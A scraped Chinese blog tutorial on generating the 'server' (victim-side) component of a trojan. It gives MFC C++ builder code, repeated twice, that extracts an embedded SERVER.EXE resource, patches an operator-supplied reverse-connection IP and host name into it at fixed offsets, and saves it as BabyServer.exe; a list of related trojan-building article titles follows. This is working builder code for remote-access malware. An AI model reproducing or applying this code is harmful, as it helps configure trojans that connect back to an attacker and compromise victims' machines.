木马服务端生成技术详解
来源:互联网 发布:淘宝网助理 编辑:程序博客网 时间:2024/04/29 21:21
实现思路很简单 用16进制工具 打开.EXE文件 找到要替换的内容地址 进行更新写入就可以了
注意点: 地址是从0开始的如下图所示的 地址应该是:0X5124
其实改写代码如下:
void ServerConfig::OnCreate()
{
UpdateData();
if(m_ip.IsEmpty()||m_name.IsEmpty())
{
MessageBox("请输入反向连接的IP地址和主机上线名称 ");
}
DWORD dwSize,dwWritten;
HRSRC hr=FindResource(0,MAKEINTRESOURCE(IDR_SERVER),"SERVER");//查找资源
if(hr==NULL) MessageBox("hr error");
dwSize=SizeofResource(NULL,hr);
HGLOBAL hg=LoadResource(NULL,hr);//加载资源
if(hg==NULL) MessageBox("hg error");
LPSTR lp=(LPSTR)LockResource(hg);//锁定资源
if(lp==NULL) MessageBox("lp error");
LPBYTE p=(LPBYTE)GlobalAlloc(GPTR, dwSize);
if (p==NULL) MessageBox("lp error");
CopyMemory((LPVOID)p, (LPCVOID)LockResource(hg), dwSize); // 复制资源数据
CopyMemory((LPVOID)(p+0x5020), (LPCVOID)m_name.LockBuffer(),MAX_PATH); //写入主机名称信息
CopyMemory((LPVOID)(p+0x5124), (LPCVOID)m_ip.LockBuffer(),15); //写入主机名称信息
/**//*本地文件路径*/
CString SaveFilePath;
BROWSEINFO bi;
ZeroMemory(&bi,sizeof(BROWSEINFO));
bi.hwndOwner=GetSafeHwnd();
bi.lpszTitle="将文件保存到";
LPITEMIDLIST idl=SHBrowseForFolder(&bi);
if(idl==NULL)
return;
SHGetPathFromIDList(idl,SaveFilePath.LockBuffer());
strcat(SaveFilePath.LockBuffer(),"/");
strcat(SaveFilePath.LockBuffer(),"BabyServer.exe");
HANDLE hFile;
hFile = CreateFile(SaveFilePath.LockBuffer(),GENERIC_WRITE,0,NULL,Create_ALWAYS,0,NULL);//创建文件
if(hFile == NULL) MessageBox("file error");
else MessageBox("服务端文件生成成功!");
WriteFile(hFile,(LPCVOID)p,dwSize,&dwWritten,NULL);//写入文件
CloseHandle(hFile);
}
IDC_SERVER为引入的SERVER.EXE资源文件 SERVER为 资源类类型
注意点: 地址是从0开始的如下图所示的 地址应该是:0X5124
其实改写代码如下:
void ServerConfig::OnCreate()
{
UpdateData();
if(m_ip.IsEmpty()||m_name.IsEmpty())
{
MessageBox("请输入反向连接的IP地址和主机上线名称 ");
}
DWORD dwSize,dwWritten;
HRSRC hr=FindResource(0,MAKEINTRESOURCE(IDR_SERVER),"SERVER");//查找资源
if(hr==NULL) MessageBox("hr error");
dwSize=SizeofResource(NULL,hr);
HGLOBAL hg=LoadResource(NULL,hr);//加载资源
if(hg==NULL) MessageBox("hg error");
LPSTR lp=(LPSTR)LockResource(hg);//锁定资源
if(lp==NULL) MessageBox("lp error");
LPBYTE p=(LPBYTE)GlobalAlloc(GPTR, dwSize);
if (p==NULL) MessageBox("lp error");
CopyMemory((LPVOID)p, (LPCVOID)LockResource(hg), dwSize); // 复制资源数据
CopyMemory((LPVOID)(p+0x5020), (LPCVOID)m_name.LockBuffer(),MAX_PATH); //写入主机名称信息
CopyMemory((LPVOID)(p+0x5124), (LPCVOID)m_ip.LockBuffer(),15); //写入主机名称信息
/**//*本地文件路径*/
CString SaveFilePath;
BROWSEINFO bi;
ZeroMemory(&bi,sizeof(BROWSEINFO));
bi.hwndOwner=GetSafeHwnd();
bi.lpszTitle="将文件保存到";
LPITEMIDLIST idl=SHBrowseForFolder(&bi);
if(idl==NULL)
return;
SHGetPathFromIDList(idl,SaveFilePath.LockBuffer());
strcat(SaveFilePath.LockBuffer(),"/");
strcat(SaveFilePath.LockBuffer(),"BabyServer.exe");
HANDLE hFile;
hFile = CreateFile(SaveFilePath.LockBuffer(),GENERIC_WRITE,0,NULL,Create_ALWAYS,0,NULL);//创建文件
if(hFile == NULL) MessageBox("file error");
else MessageBox("服务端文件生成成功!");
WriteFile(hFile,(LPCVOID)p,dwSize,&dwWritten,NULL);//写入文件
CloseHandle(hFile);
}
IDC_SERVER为引入的SERVER.EXE资源文件 SERVER为 资源类类型
- 木马服务端生成技术详解
- 木马服务端生成技术详解
- 木马服务端生成技术详解
- 木马服务端生成技术详解
- 木马生成技术详解
- 木马生成技术详解
- 浅析木马服务端的生成技术
- 浅析木马服务端的生成技术
- 浅析木马服务端的生成技术
- 浅析木马服务端的生成技术
- 浅析木马服务端的生成技术
- 浅析木马服务端的生成技术
- 黑客知识之浅析木马服务端的生成技术
- 木马生成技术
- 关于木马生成技术
- 汇编实现木马生成技术
- 服务端生成技术(1)
- C#木马(服务端)
- 什么是SOAP?
- 这年代,连死都难—那就将就着活吧。。。
- 如何在用户注册或登录时使用验证码图片
- 厕所如此收费!
- 如何实现表单一次上传多表数据并更新到数据库
- 木马服务端生成技术详解
- 记我的第一次面试
- 自动化测试的计划和实施第四阶段
- 记我的百度二面
- 故事一则
- VS2005中远程调试的配置方法
- http ftp
- 记我的百度三面
- jsp+javaBean查询数据库(异常已解决)